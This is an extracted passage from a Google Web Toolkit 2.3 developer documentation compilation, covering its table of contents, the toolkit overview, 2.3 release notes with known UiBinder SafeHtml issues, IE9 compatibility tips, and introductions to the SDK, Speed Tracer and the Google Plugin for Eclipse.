Google Web Toolkit 2.

3

Tartalomjegyzék
1.Introduction...................................................................................................................................................................... 10 1.1.Overview.................................................................................................................................................................. 10 1.2.What's New in GWT 2.3? ....................................................................................................................................... 10 1.2.1.New Features.............................................................................................................................................. 10 1.2.2.Getting Started............................................................................................................................................. 11 1.2.3.Release Notes for 2.3.0............................................................................................................................... 11 1.2.4.Release Notes for 2.3.0 (M1)...................................................................................................................... 12 1.2.5.IE9 Support - Tips and Tricks ..................................................................................................................... 13 1.3.GWT SDK................................................................................................................................................................ 15 1.4.Speed Tracer........................................................................................................................................................... 17 1.5.Google Plugin for Eclipse........................................................................................................................................ 17 1.6.Google Web Toolkit in Action .................................................................................................................................. 17 2.Get Started....................................................................................................................................................................... 18 2.1.Get Started with the GWT SDK ..............................................................................................................................18 2.2.Set up Eclipse.......................................................................................................................................................... 21 2.3.Speed Tracer (2.1)................................................................................................................................................... 25 2.4.SpringSource Tools (2.1)......................................................................................................................................... 36 3.Tutorials............................................................................................................................................................................ 42 3.1.Tutorial Overview .................................................................................................................................................... 42 3.2.Build a Sample GWT Application ............................................................................................................................43 3.2.1.Step 1: Create a GWT Project .................................................................................................................... 44 3.2.1.1.Creating a GWT application.............................................................................................................44 3.2.1.2.Testing the default project components............................................................................................46 3.2.1.3.Examining the project components..................................................................................................49 3.2.2.Step 2: Design the Application ................................................................................................................... 51 3.2.2.1.Examining the functional requirements............................................................................................51 3.2.2.2.Identifying the elements of the UI design.........................................................................................51 3.2.3.Step 3: Build the User Interface ................................................................................................................. 52 3.2.3.1.Selecting GWT widgets to implement the UI elements....................................................................52 3.2.3.2.Selecting GWT panels to lay out the UI elements............................................................................53 3.2.3.3.Embedding the application in the host page....................................................................................54 3.2.3.4.Implementing widgets and panels....................................................................................................55 3.2.3.5.Testing the layout.............................................................................................................................. 62 3.2.4.Step 4: Manage Events on the Client .........................................................................................................63 3.2.4.1.Reviewing the requirements for event handling...............................................................................63 3.2.4.2.Listening for events..........................................................................................................................63 3.2.4.3.Responding to user events...............................................................................................................66 3.2.4.4.Testing event handling......................................................................................................................67 3.2.5.Step 5: Code Functionality on the Client ....................................................................................................68 2 / 469

3.2.5.1.Adding and removing stocks from the stock table............................................................................68 3.2.5.2.Refreshing the Price and Change fields...........................................................................................69 3.2.5.3.Adding the timestamp.......................................................................................................................75 3.2.6.Step 6: Debug a GWT Application ..............................................................................................................76 3.2.6.1.Finding the bug................................................................................................................................. 77 3.2.6.2.Fixing the bug................................................................................................................................... 78 3.2.6.3.Testing the bug fix in development mode.........................................................................................79 3.2.7.Step 7: Apply Style ..................................................................................................................................... 79 3.2.7.1.Associating Style Sheets with a Project...........................................................................................80 3.2.7.2.Changing the Theme........................................................................................................................ 81 3.2.7.3.Associating style rules with GWT-generated HTML elements..........................................................82 3.2.7.4.Creating secondary styles dependent on a primary style.................................................................88 3.2.7.5.Updating styles dynamically.............................................................................................................89 3.2.7.6.Setting an element's HTML attributes...............................................................................................90 3.2.7.7.Adding images or other static HTML elements.................................................................................90 3.2.8.Step 8: Compiling a GWT Application ........................................................................................................92 3.2.8.1.Compiling Java to JavaScript...........................................................................................................92 3.2.8.2.Testing in Production Mode..............................................................................................................92 3.2.8.3.Deploying the Application to a Web Server......................................................................................93 3.3.Client-Server Communication ................................................................................................................................. 94 3.3.1.GWT RPC ................................................................................................................................................... 95 3.3.1.1.Creating a service............................................................................................................................. 97 3.3.1.2.Invoking the service from the client................................................................................................100 3.3.1.3.Serializing Java objects.................................................................................................................. 102 3.3.1.4.Handling Exceptions....................................................................................................................... 103 3.3.2.JSON ........................................................................................................................................................ 107 3.3.2.1.Creating a source of JSON data on your local server....................................................................108 3.3.2.2.Manipulating JSON data in the client-side code.............................................................................111 3.3.2.3.Making HTTP requests to retrieve data from the server.................................................................113 3.3.2.4.Handling GET errors....................................................................................................................... 116 3.3.3.JSON - PHP .............................................................................................................................................. 118 3.3.4.Cross-Site ................................................................................................................................................. 120 3.3.4.1.Reviewing the requirements and design........................................................................................120 3.3.4.2.Creating a data a source................................................................................................................122 3.3.4.3.Requesting the data from the remote server..................................................................................124 3.3.4.4.Handling the response.................................................................................................................... 128 3.3.4.5.Testing............................................................................................................................................ 129 3.4.Internationalization ............................................................................................................................................... 130 3.4.1.Design....................................................................................................................................................... 130 3.4.2.Creating the translation for each language supported..............................................................................131 3.4.3.Localizing StockWatcher........................................................................................................................... 136 3.5.JUnit Testing ......................................................................................................................................................... 139 3.5.1.Creating a JUnit test.................................................................................................................................. 139 3 / 469

3.5.2.Running unit tests...................................................................................................................................... 141 3.5.3.Writing a unit test....................................................................................................................................... 142 3.5.4.Resolving problems identified in unit tests................................................................................................143 3.6.Deploy to Google App Engine .............................................................................................................................. 145 3.6.1.Get started with App Engine...................................................................................................................... 145 3.6.2.Deploy the application to App Engine........................................................................................................148 3.6.3.Personalize the application with the User Service....................................................................................149 3.6.4.Store data in the datastore........................................................................................................................ 154 4.Documentation............................................................................................................................................................... 163 4.1.Organize Projects ................................................................................................................................................. 163 4.1.1.HTML Host Pages..................................................................................................................................... 163 4.1.2.Standard Directory and Package Layout...................................................................................................164 4.1.3.Modules: Units of configuration................................................................................................................. 167 4.1.4.Defining a module: format of module XML files.........................................................................................168 4.1.5.How do I know which GWT modules I need to inherit?.............................................................................172 4.1.6.Automatic Resource Inclusion................................................................................................................... 173 4.1.7.Filtering Public and Source Packages.......................................................................................................174 4.1.8.The Bootstrap Sequence........................................................................................................................... 174 4.2.Compile & Debug ................................................................................................................................................. 176 4.2.1.Debugging in Development Mode.............................................................................................................176 4.2.2.Running in Production Mode..................................................................................................................... 184 4.2.3.Understanding the GWT Compiler............................................................................................................184 4.3.Coding Basics ....................................................................................................................................................... 188 4.3.1.Client-Side Code ...................................................................................................................................... 189 4.3.2.Compatibility with the Java Language and Libraries ................................................................................191 4.3.3.History ...................................................................................................................................................... 193 4.3.4.Number and Date Formatting ................................................................................................................... 196 4.3.5.Programming Delayed Logic .................................................................................................................... 198 4.3.6.Working with JSON .................................................................................................................................. 202 4.3.7.Working with XML ..................................................................................................................................... 203 4.3.8.JavaScript Native Interface (JSNI) ...........................................................................................................205 4.3.9.JavaScript Overlay Types ......................................................................................................................... 210 4.3.10.Deferred Binding .................................................................................................................................... 213 4.4.Build User Interfaces (2.1, 2.2).............................................................................................................................. 217 4.4.1.Cross-Browser Support ............................................................................................................................ 217 4.4.2.Layout Using Panels ................................................................................................................................ 218 4.4.2.1.Basic Panels................................................................................................................................... 218 RootPanel......................................................................................................................................... 218 FlowPanel......................................................................................................................................... 218 HTMLPanel...................................................................................................................................... 218 FormPanel........................................................................................................................................ 218 ScrollPanel....................................................................................................................................... 218 PopupPanel and DialogBox.............................................................................................................218 Grid and FlexTable........................................................................................................................... 218 4 / 469

4.4.2.2.Layout Panels................................................................................................................................. 218 RootLayoutPanel.............................................................................................................................. 219 LayoutPanel..................................................................................................................................... 219 DockLayoutPanel............................................................................................................................. 219 SplitLayoutPanel.............................................................................................................................. 219 StackLayoutPanel............................................................................................................................ 220 TabLayoutPanel................................................................................................................................ 221 When should I not use layout panels?.............................................................................................221 4.4.2.3.Animation........................................................................................................................................ 221 4.4.2.4.RequiresResize and ProvidesResize.............................................................................................221 4.4.2.5.Moving to Standards Mode.............................................................................................................222 4.4.2.6.Design of the GWT 2.0 layout system............................................................................................222 4.4.2.7.Recipes........................................................................................................................................... 223 Basic application layout.................................................................................................................... 223 Splitters............................................................................................................................................ 224 Layout animation.............................................................................................................................. 224 Implementing a Composite that RequiresResize.............................................................................225 Child widget visibility........................................................................................................................ 225 Using a LayoutPanel without RootLayoutPanel...............................................................................225 Tables and Frames........................................................................................................................... 225 4.4.3.Widgets .................................................................................................................................................... 226 4.4.4.Creating Custom Widgets ........................................................................................................................ 227 4.4.5.Cell Widgets (2.1)...................................................................................................................................... 229 4.4.5.1.Cell Widgets................................................................................................................................... 230 4.4.5.2.Cells................................................................................................................................................ 233 4.4.5.3.Selection, Data and Paging............................................................................................................234 4.4.6.Cell Table (2.2).......................................................................................................................................... 242 4.4.6.1.Column Sorting............................................................................................................................... 242 4.4.6.2.Controlling Column Widths.............................................................................................................245 4.4.7.Editors (2.1)............................................................................................................................................... 247 4.4.8.Working with the DOM .............................................................................................................................. 252 4.4.8.1.Accessing the Browser's DOM ......................................................................................................252 4.4.8.2.Using the DOM to manipulate a widget..........................................................................................252 4.4.8.3.Finding an element in the DOM......................................................................................................253 4.4.8.4.Using the DOM to capture a browser event...................................................................................254 4.4.9.Event Handlers ......................................................................................................................................... 254 4.4.10.Working with CSS ................................................................................................................................... 255 4.4.11.Declarative UI with UiBinder ................................................................................................................... 258 4.4.11.1.Overview....................................................................................................................................... 258 4.4.11.2.Hello World................................................................................................................................... 259 4.4.11.3.Hello Widget World....................................................................................................................... 260 4.4.11.4.Using Panels................................................................................................................................. 260 4.4.11.5.HTML entities................................................................................................................................ 261 4.4.11.6.Simple binding of event handlers..................................................................................................261 4.4.11.7.Hello Stylish World........................................................................................................................ 262 4.4.11.8.Programmatic access to inline Styles...........................................................................................263 5 / 469

4.4.11.9.Using an external resource...........................................................................................................263 4.4.11.10.Share resource instances...........................................................................................................264 4.4.11.11.Using a widget that requires constructor args.............................................................................265 4.4.11.12.Apply different XML templates to the same widget.....................................................................266 4.4.12.Bundling Image Resources .................................................................................................................... 268 4.5.HTML5 Feature Support (2.3)............................................................................................................................... 269 4.5.1.What is HTML5 Storage?.......................................................................................................................... 269 4.5.2.Why Use HTML5 Storage?....................................................................................................................... 269 4.5.3.Details You Should Know About HTML5 Storage......................................................................................270 4.5.4.HTML5 Storage Support in GWT..............................................................................................................271 4.5.5.How to Use HTML5 Storage in Your Web Application...............................................................................271 4.6.Security (2.1, 2.2, 2.3)........................................................................................................................................... 275 4.6.1.Security for GWT Applications .................................................................................................................. 275 4.6.1.1.Part 1: JavaScript Vulnerabilities....................................................................................................275 4.6.1.2.Part 2: How GWT Developers Can Fight Back...............................................................................279 4.6.2.SafeHtml (2.1, 2.2).................................................................................................................................... 282 4.6.2.1.Coding Guidelines.......................................................................................................................... 283 4.6.2.2.Coding Guidelines for Developers of Widget Client Code..............................................................283 4.6.2.3.Coding Guidelines for Widget Developers.....................................................................................288 4.6.2.4.Caveats and Limitations................................................................................................................. 289 4.6.3.GWT RPC XSRF protection (2.3)..............................................................................................................290 4.6.3.1.Overview......................................................................................................................................... 290 4.6.3.2.Server-side changes....................................................................................................................... 290 4.6.3.3.Client-side changes........................................................................................................................ 291 4.7.Activities and Places (2.1)..................................................................................................................................... 293 4.7.1.Views......................................................................................................................................................... 293 4.7.2.ClientFactory............................................................................................................................................. 295 4.7.3.Activities.................................................................................................................................................... 296 4.7.4.Places........................................................................................................................................................ 297 4.7.5.PlaceHistoryMapper.................................................................................................................................. 297 4.7.6.ActivityMapper........................................................................................................................................... 297 4.7.7.Putting it all together.................................................................................................................................. 298 4.7.8.How it all works......................................................................................................................................... 298 4.7.9.How to navigate......................................................................................................................................... 298 4.7.10.Related resources................................................................................................................................... 299 4.8.RequestFactory (2.1)............................................................................................................................................. 300 4.8.1.Overview................................................................................................................................................... 300 4.8.2.Coding with RequestFactory..................................................................................................................... 300 4.8.2.1.Entities............................................................................................................................................ 300 4.8.2.2.Entity Proxies.................................................................................................................................. 301 4.8.2.3.Value Proxies.................................................................................................................................. 302 4.8.2.4.RequestFactory Interface...............................................................................................................302 4.8.2.5.Transportable types........................................................................................................................ 303 6 / 469

4.8.2.6.Server Implementations..................................................................................................................304 4.8.2.7.Implementing a service in an entity class.......................................................................................305 4.8.2.8.Using Locator and ServiceLocator.................................................................................................306 4.8.3.Putting it all together.................................................................................................................................. 307 4.8.3.1.Wiring............................................................................................................................................. 307 4.8.3.2.Using RequestFactory.................................................................................................................... 308 4.8.3.3.Entity Relationships........................................................................................................................ 309 4.8.3.4.Validating Entities........................................................................................................................... 309 4.9.Logging (2.1)......................................................................................................................................................... 310 4.9.1.Overview of the Logging Framework ........................................................................................................310 4.9.2.Super Simple Recipe for Adding GWT Logging .......................................................................................310 4.9.3.Building/Running the Logging Example ...................................................................................................310 4.9.4.Loggers, Handlers and the Root Logger ..................................................................................................311 4.9.5.Configuring GWT Logging ........................................................................................................................ 312 4.9.6.Different Types of Handlers ...................................................................................................................... 312 4.9.7.Client vs. Server-side Logging ................................................................................................................. 313 4.9.8.Remote Logging ....................................................................................................................................... 313 4.9.9.Making All Logging Code Compile Out .....................................................................................................314 4.9.10.Emulated and Non-Emulated Classes....................................................................................................314 4.10.Communicate with a Server ............................................................................................................................... 315 4.10.1.Server-side Code.................................................................................................................................... 315 4.10.2.Remote Procedure Calls......................................................................................................................... 315 4.10.3.RPC Plumbing Diagram.......................................................................................................................... 316 4.10.4.Creating Services.................................................................................................................................... 316 4.10.5.Implementing Services............................................................................................................................ 317 4.10.6.Actually Making a Call............................................................................................................................. 319 4.10.7.Serializable Types................................................................................................................................... 320 4.10.8.Handling Exceptions................................................................................................................................ 321 4.10.9.Architectural Perspectives....................................................................................................................... 322 4.10.10.Deploying RPC...................................................................................................................................... 323 4.10.11.Making HTTP requests.......................................................................................................................... 325 4.10.12.Getting Used to Asynchronous Calls.....................................................................................................326 4.10.13.Direct-Eval RPC.................................................................................................................................... 328 4.11.Accessibility Support ........................................................................................................................................... 329 4.11.1.Overview.................................................................................................................................................. 329 4.11.2.Making Widgets Accessible..................................................................................................................... 330 4.11.3.Class com.google.gwt.user.client.ui.Accessibility....................................................................................330 4.11.4.Adding ARIA Roles.................................................................................................................................. 330 4.11.5.Adding ARIA States................................................................................................................................. 330 4.11.6.Adding Keyboard Accessibility.................................................................................................................331 4.11.7.Indicating Selection Changes.................................................................................................................. 332 4.11.8.Associating Meaningful Labels................................................................................................................ 333 4.11.9.Automatically Speaking Highlighted Content...........................................................................................333 7 / 469

4.11.10.General Advice For Widget Developers.................................................................................................335 4.12.Internationalization ............................................................................................................................................. 336 4.12.1.Locales in GWT....................................................................................................................................... 337 4.12.2.Static String Internationalization..............................................................................................................340 4.12.3.Dynamic String Internationalization.........................................................................................................341 4.12.4.Java Annotations..................................................................................................................................... 341 4.12.5.Localized Properties Files....................................................................................................................... 342 4.12.6.Constants ............................................................................................................................................... 343 4.12.7.Messages ............................................................................................................................................... 344 4.12.8.Plural Forms ........................................................................................................................................... 349 4.12.9.UiBinder .................................................................................................................................................. 351 4.13.JUnit Testing ....................................................................................................................................................... 357 4.13.1.Architecting Your App for Testing.............................................................................................................357 4.13.2.Creating a Test Case............................................................................................................................... 357 4.13.3.Asynchronous Testing............................................................................................................................. 361 4.13.4.Combining TestCase classes into a TestSuite.........................................................................................362 4.13.5.Setting up and tearing down JUnit test cases that use GWT code.........................................................362 4.13.6.Running Tests in Eclipse......................................................................................................................... 363 4.13.7.HtmlUnit .................................................................................................................................................. 363 4.13.8.Remote Testing ....................................................................................................................................... 364 4.13.9.Code Coverage ...................................................................................................................................... 367 4.14.Deploy a GWT Application .................................................................................................................................. 371 4.14.1.Deploying on a web server...................................................................................................................... 371 4.14.2.Deploying on a servlet container using RPC...........................................................................................371 4.14.3.Deploying on Google App Engine (Java runtime)...................................................................................372 4.15.Optimize a GWT Application ............................................................................................................................... 373 4.15.1.Code Splitting ......................................................................................................................................... 374 4.15.2.Compile Report ...................................................................................................................................... 379 4.15.3.Client Bundle .......................................................................................................................................... 386 4.15.3.1.Overview....................................................................................................................................... 386 4.15.3.2.DataResource............................................................................................................................... 388 4.15.3.3.TextResource and ExternalTextResource....................................................................................388 4.15.3.4.ImageResource............................................................................................................................ 389 4.15.3.5.GwtCreateResource..................................................................................................................... 390 4.15.3.6.CssResource................................................................................................................................ 390 4.15.3.7.CssResourceCookbook................................................................................................................401 4.15.4.Lightweight Metrics ................................................................................................................................. 405 5.Articles........................................................................................................................................................................... 408 5.1.Using a Dynamic Host Page for Authentication and Initialization .........................................................................408 5.2.Using GWT with Hibernate ................................................................................................................................... 411 5.3.Testing Methodologies Using Google Web Toolkit ...............................................................................................426 5.4.DOM Events, Memory Leaks, and You .................................................................................................................433

8 / 469

5.5.Security for GWT Applications .............................................................................................................................. 435 5.6.Using GWT for JSON Mashups ............................................................................................................................ 443 5.7.Put Your GWT App on Facebook .......................................................................................................................... 448 5.8.Building iOS Applications with GWT ..................................................................................................................... 450 6.Speed Tracer (2.1)......................................................................................................................................................... 452 6.1.Examples .............................................................................................................................................................. 452 6.1.1.Example Scenario 1: Redundant Layout...................................................................................................452 6.1.2.Example Scenario 2: Painting Pitfalls........................................................................................................455 6.2.Hints ..................................................................................................................................................................... 457 6.3.Data Dump Format ............................................................................................................................................... 459 6.3.1.Browser Timeline Events........................................................................................................................... 459 6.3.2.Speed Tracer Event................................................................................................................................... 465 6.4.Logging API .......................................................................................................................................................... 466 6.5.Server-Side Tracing (2.1)...................................................................................................................................... 467 6.6.FAQ ...................................................................................................................................................................... 468

9 / 469

1.
1.1. Overview

Introduction

Google Web Toolkit (GWT) is a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript. GWT is used by many products at Google, including Google Wave and the new version of AdWords. It's open source, completely free, and used by thousands of developers around the world.

1.2.

What's New in GWT 2.3?

The latest release of GWT and the Google Plugin for Eclipse (GPE), version 2.3, includes the new features and functionality listed below. If you're currently using 2.2, follow the instructions for getting started with GWT 2.3. See the 2.3 Release Notes for bug fixes and other changes.

1.2.1.

New Features

Google API Discovery and Access
The number of APIs offered by Google continues to grow, and developers are taking advantage of these APIs by including features such as Google Maps overlays, Buzz streams, and Google Docs integration in their apps. To help you build these features GPE 2.3 adds the ability to browse and add Google APIs directly from Eclipse. Simply highlight a project and then select the "Google - Add Google API Reference" menu item to get started.

Google Project Hosting Integration
GPE 2.3 also provides a simple UI that makes importing Google-hosted projects into Eclipse very easy. You can now click on the GPE icon within Eclipse, select "Add Google APIs..." and, after a few steps in the import wizard, have a project loaded within your workspace. From there, making changes and syncing them back to Project Hosting is all done within the IDE.

Single Sign-on Support
In order to make it simple to work with these new services, GPE 2.3 has built-in single sign-on support. This allows you to provide Google Account credentials once (using the same authentication mechanisms as Gmail and Google Docs), and deploy to App Engine, add APIs, and import projects from Project Hosting as many times as necessary.

Local Storage API Availability
One of the key differentiators between legacy desktop apps and modern web apps is their ability to access data quickly and continue to be usable offline. Adding this functionality to your GWT application is now easier with the inclusion of Local Storage APIs in the GWT 2.3 SDK. For more information on how to use these APIs, check out the Local Storage docs.

10 / 469

1.2.2.

Getting Started

Instructions for installing this new release of GPE and the GWT SDK can be found here: http://code.google.com/eclipse/docs/getting_started.html. If you’re simply looking for the GWT 2.3 SDK, you can find it here: http://code.google.com/p/google-web-toolkit/downloads/detail?name=gwt-2.3.0.zip

Problems?
Any problems using these new features? As always, let us know on the GWT Developer Forum and our great community or GWT team members will be happy to help out.

1.2.3.

Release Notes for 2.3.0

This is the General Availability release of GWT 2.3.

General Enhancments
‣ ‣ Added IE9 support. See the IE9 - Tips and Tricks (2.5. fejezet) doc for more information. 2.3.0 (M1) - General Enhancements (2.4. fejezet)

Noteworthy Fixed Issues
2.3.0 (M1) - Noteworthy Fixed Issues (2.4. fejezet)

Known Issues
At compile time, you may see a warning similar to the following: "Configuration property UiBinder.useSafeHtmlTemplates is false! UiBinder SafeHtml integration is off, leaving your users more vulnerable to cross-site scripting attacks". This warning occurs because although UiBinder HTML rendering has been updated to support SafeHtml, by default this is turned off (set to false), due to some minor bugs. If you wish, you can change the default by setting the "useSafeHtmlTemplates" property to true in UiBinder.gwt.xml. You can determine whether you are affected by the known bugs by checking the public bugs 6145, 6149, and 6198. See the complete list of bug fixes and enhancements for 2.3.0 in the GWT issue tracker.

Issue 6145
If you reference ImageResource#getUrl() in a UiBinder file, the data url is sanitized. This is probably related to the recent UiBinder/template work.
In ui.xml: <img src="{res.gwtLogo.getURL}"/> Results in generated template method: public com.google.gwt.safehtml.shared.SafeHtml html1(java.lang.String arg0) { StringBuilder sb = new java.lang.StringBuilder(); sb.append("<img src='"); sb.append( com.google.gwt.safehtml.shared.SafeHtmlUtils.htmlEscape( com.google.gwt.safehtml.shared.UriUtils.sanitizeUri(arg0))); sb.append("'>"); return new com.google.gwt.safehtml.shared.OnlyToBeUsedInGeneratedCodeStringBlessedAsSafeHtml(sb.toString()); }

11 / 469

Issue 6149
We need a ui:sprite attribute in <img>, e.g.
<div><img ui:sprite={myImageResource}/>

The workaround is to create a sprite, but that requires obscure boilerplate in a <ui:style>. This is particularly a problem because people often incorrectly do this:
<img src={myImageResource.getUrl}/>

which used to accidentally work (except on IE which will show the full content of a sprite), and which is now fully broken after the UiBinder SafeHtml integration

Issue 6198
It is common to define Messages methods that return SafeHtml objects. And it is common to bake such messages into a UI via <ui:text>. But with its recent move to SafeHtmlTemplates, UiBinder now escapes all <ui:text> elements as strings. Even in an HTML context, and even if they're of type SafeHtml. We should be smarter about that. At the same time, we should probably make the methods on the Messages interfaces that binder generates return SafeHtml rather than String.

1.2.4.

Release Notes for 2.3.0 (M1)

This is milestone 1 of GWT 2.3.

General Enhancments
• Added the following functionality to the Google Plugin for Eclipse: ▸ Google API integration ▸ Project import from Google Project Hosting ▸ Single sign on, for accessing Project Hosting and App Engine Added GWT SDK support for HTML5 local storage

Noteworthy Fixed Issues
• • • • • • Updated GPE's UIBinder editor to provide support for attribute auto-completion based on getter/setters in the owner type Optimizations to speed up GPE launch configuration UI "Check for Updates", within GPE, will now detect updates to GWT and GAE SDKs Launching against an external URL that contains a port number now works properly in Eclipse 3.6 Updated IE9 support (#5125) Fixed iFrame loading issues within Internet Explorer (#1720)

See the complete list of bug fixes and enhancements for 2.3.0 M1 in the GWT issue tracker.

Issue 5125
IE9 needs its own user.agent value and subclasses of DOMImpl*, et al. Looking at the platform previews that are currently available, it seems quite likely that it will want to be a subclass of DOMImplStandard rather than DOMImplTrident, but that remains to be proven.

Issue 1720
I create a named iframe, and I want it to handle onLoad events, so in my constructor I add:

12 / 469

sinkEvents(Event.ONLOAD);

then later in my application I implement:
public void onBrowserEvent(Event event) { Window.alert("Browser Evernt: "+DOM.eventGetTypeString(event)); }

ONLOAD events are fired on Safari and Mozilla, but the event is not fired on IE.

1.2.5. Modes

IE9 Support - Tips and Tricks

Running an application in IE9 does not necessarily mean you are running IE9 standards mode. IE9 has many modes that can be defined in the page head tag (see the "Document Mode" section below). You can overwrite the page mode manually by selecting F12, where you can set both browser mode and document mode. GWT IE permutations work best with each version of "standards" mode. Mixing modes, say browser mode=7 and document mode = 9, is not recommended and the behavior is undefined. To keep it simple, try to keep browser modes and document modes the same. If you must use mixed mode, be aware that you may run into issues that are still not supported. The exception is if you are emulating an older browser when you still do not support the new version, for instance, you emulate IE7 (EmulateIE7) on IE9.

Filling Bugs
Due to the many 'modes', when filling issues, make sure to add both the browser and document mode; and the browser version. This will help us triage what is IE9 specific, what is related to older versions or if the issue is related to mixed 'mode' setting. • • To get the browser mode and document mode select "Menu > Tools > Developer" To get the version, select "Help > About Internet Explorer"

Document Mode
It is important to understand how compatibility mode works before you release a new version of your app. If you are using X-UA-compatible tag, test on older browsers as well. In short, whenever possible, use standards mode by adding <!DOCTYPE html> as the first element in your html file; and add <meta http-equiv="X-UA-Compatible" content="IE=9" > to <head> to future proof your app. Avoid using 'edge' unless you are sure what you are doing.
<!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=9"> </head> <body> <script language='javascript'> ..

More information can be found here: http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx

Standards Mode and Potential Hardware Acceleration/Performance Issues
In some cases IE9 will run in Software Rendering mode and bypass any hardware acceleration. In these cases you may see degraded performance. To see if you are running hardware accelerated environment, select "Tools > Internet Options > Advanced Tab." More information can be found here: http://support.microsoft.com/kb/2398082

13 / 469

IE9 Compatibility View and Intranet Sites
By default, all intranet sites are set to run in compatibility mode. To change that, go to "Tools > Compatibility View Settings" and uncheck "Display intranet sites in Compatibility View". Internet sites, except those added to the "Websiteslist you've added to Compatibility View" are by default in non-compatibility view. More information can be found here: http://support.microsoft.com/kb/956197

New User Agent
Fall back bindings have been implemented, thus the introduction of the new user.agent should not cause build breaks. For instance, IE9 uses IE8 as fall back. If your application has a specific binding for IE8 (say a custom widget) that is not implemented for IE9, the compiler will automatically use the IE8 implementation. A warning will be raised during compilation (see below), and it's suggested that you verify the implementation works as expected in IE9. Could not find an exact match rule. Using 'closest' rule
<replace-with class='com.google.gwt.widget.client.impl.MySuperDuperWidgetIE6'/>

based on fall back values. You may need to implement a specific binding in case the fall back behavior does not replace the missing binding. This is telling you that the IE9 permutation of your application will use MySuperDuperWidgetIE6. Your module binds IE8 to this implementation, and since there is no explicit binding for IE9, it will fall back to whatever binding IE8 is using (in this case a baseline IE6 implementation). The action item here is to verify that this implementation works as expected in IE9 standards mode.

Release Notes and References
Release Notes: http://msdn.microsoft.com/en-us/ie/ff959805 http://msdn.microsoft.com/en-us/ie/ff468705 References: http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx http://support.microsoft.com/kb/956197 http://support.microsoft.com/kb/2398082 http://support.microsoft.com/kb/2528233

14 / 469

1.3.

GWT SDK

Writing web apps for multiple browsers can be a tedious and error-prone process. You can spend 90% of your time working around browser quirks. In addition, building, reusing, and maintaining large JavaScript code bases and AJAX components can be difficult and fragile. Google Web Toolkit (GWT) eases this burden by allowing developers to quickly build and maintain complex yet highly performant JavaScript front-end applications in the Java programming language.

How the SDK works
With the GWT SDK, you write your AJAX front-end in the Java programming language which GWT then cross-compiles into optimized JavaScript that automatically works across all major browsers. During development, you can iterate quickly in the same "edit - refresh - view" cycle you're accustomed to with JavaScript, with the added benefit of being able to debug and step through your Java code line by line. When you're ready to deploy, the GWT compiler compiles your Java source code into optimized, standalone JavaScript files.

Write AJAX apps in the Java language, then compile to optimized JavaScript
Unlike JavaScript minifiers that work only at a textual level, the GWT compiler performs comprehensive static analysis and optimizations across your entire GWT codebase, often producing JavaScript that loads and executes faster than equivalent handwritten JavaScript. For example, the GWT compiler safely eliminates dead code -- aggressively pruning unused classes, methods, fields, and even method parameters -- to ensure that your compiled script is the smallest it can possibly be. Another example: the GWT compiler selectively inlines methods, eliminating the performance overhead of method calls.

Other interesting things
In the end, it's just JavaScript
The GWT SDK provides a core set of Java APIs and libraries that allow you to productively build user interfaces and logic for the browser client. You then compile that source code to JavaScript. All that runs in the end is plain ol' JavaScript in the browser. Oh, and you can mix in and interoperate with JavaScript in your source code as well.

Don't worry about XMLHttpRequest
GWT can handle all of the client-server communications for you, whether you use JSON, XML, or GWT's optimized Remote Procedure Call (RPC) system. You don't need to know the lower level details and frustrations of XHR calls.

Use the backend language of your choice
You don't have to run Java on your server to use GWT to build your client. Because GWT works with many standard communication protocols, you can easily communicate back and forth.

Optimize the JavaScript script downloads based on user profile
GWT creates a separate compiled version of your application that is optimized for a particular user's environment. This means that a Firefox browser displaying an application in French doesn't need to download extra code for other browsers or languages.

Reuse UI components across projects
Create reusable Widgets by compositing other Widgets, then easily lay them out automatically in Panels. Want to reuse your Widget in another project? Simple package it up for others to use in a JAR file.

Use other JavaScript libraries and native JavaScript code
You can mix handwritten JavaScript in your Java source code to interface with existing JavaScript APIs. You can write individual JavaScript methods directly in your Java source files and even encapsulate JavaScript objects inside a Java 15 / 469

class.

Easily support the browser's back button and history
No, AJAX applications don't need to break the browser's back button. GWT lets you make your site more usable by easily adding state to the browser's back button history.

Internationalize your application
If your application is successful, you'll want to support the world. Making good architecture decisions up front helps. With GWT you can easily create efficient internationalized applications and libraries, including bi-directionality.

Be productive with your choice of development tools
Because GWT uses Java, you'll be catching errors like typos and type mismatches as you write the code, not at runtime. Harness the productivity gains of an IDE's automated Java refactoring and code prompting/completion. Now you can use all of your favorite Java development tools (Eclipse, IntelliJ, JProfiler) for your AJAX development.

Test your code with JUnit
GWT's direct integration with JUnit lets you unit test both in a debugger and in a browser...and you can even unit test asynchronous RPCs.

It's free and open source
GWT is free, and all of the code is available under the Apache 2.0 license.

16 / 469

1.4.

Speed Tracer

Speed Tracer is a tool to help you identify and fix performance problems in your web applications. It visualizes metrics that are taken from low level instrumentation points inside of the browser and analyzes them as your application runs. Speed Tracer is available as a Chrome extension and works on all platforms where extensions are currently supported (Windows and Linux). Using Speed Tracer you are able to get a better picture of where time is being spent in your application. This includes problems caused by JavaScript parsing and execution, layout, CSS style recalculation and selector matching, DOM event handling, network resource loading, timer fires, XMLHttpRequest callbacks, painting, and more. Install Speed Tracer into your Google Chrome browser and check out our example scenarios for some tips on what to look for in your applications.

1.5.

Google Plugin for Eclipse

Google Plugin for Eclipse is a set of software development tools that enables Java developers to quickly design, build, optimize, and deploy cloud-based applications. GPE assists developers in efficiently creating a rich user experience, generating high quality Ajax code using the Google Web Toolkit, optimizing performance with Speed Tracer, and effortlessly deploying applications to the App Engine. These powerful tools remove tedium and free developers to focus on creating great application logic. GPE is the first suite of integrated development tools designed specifically for Eclipse Java developers to create fast, reliable and high quality applications for the Google cloud.

1.6.
• •

Google Web Toolkit in Action
Samples are included in the SDK for you to play around with and build off of. A few are below. Some are from the App Engine SDK that use GWT for their front end. Real world projects let you see the real power of GWT, with complex applications that developers are building.

If you're like us, the first thing you want to do is see examples of what you can do with Google Web Toolkit.

If you'd like to see who else is using GWT, check out the GWT Gallery. You'll be able to find other applications and libraries built with GWT, comment on them, rate them, and search for them by tag or by name. You can also submit your own entry if you have a project that you want to share. You can also find a wide variety of open source projects related to GWT hosted on Google Code. Please note that the applications linked from this page are provided by third-parties and are not endorsed by Google. http://code.google.com/intl/hu-HU/webtoolkit/examples/

17 / 469

2.
2.1.

Get Started

Get Started with the GWT SDK

Prerequisites
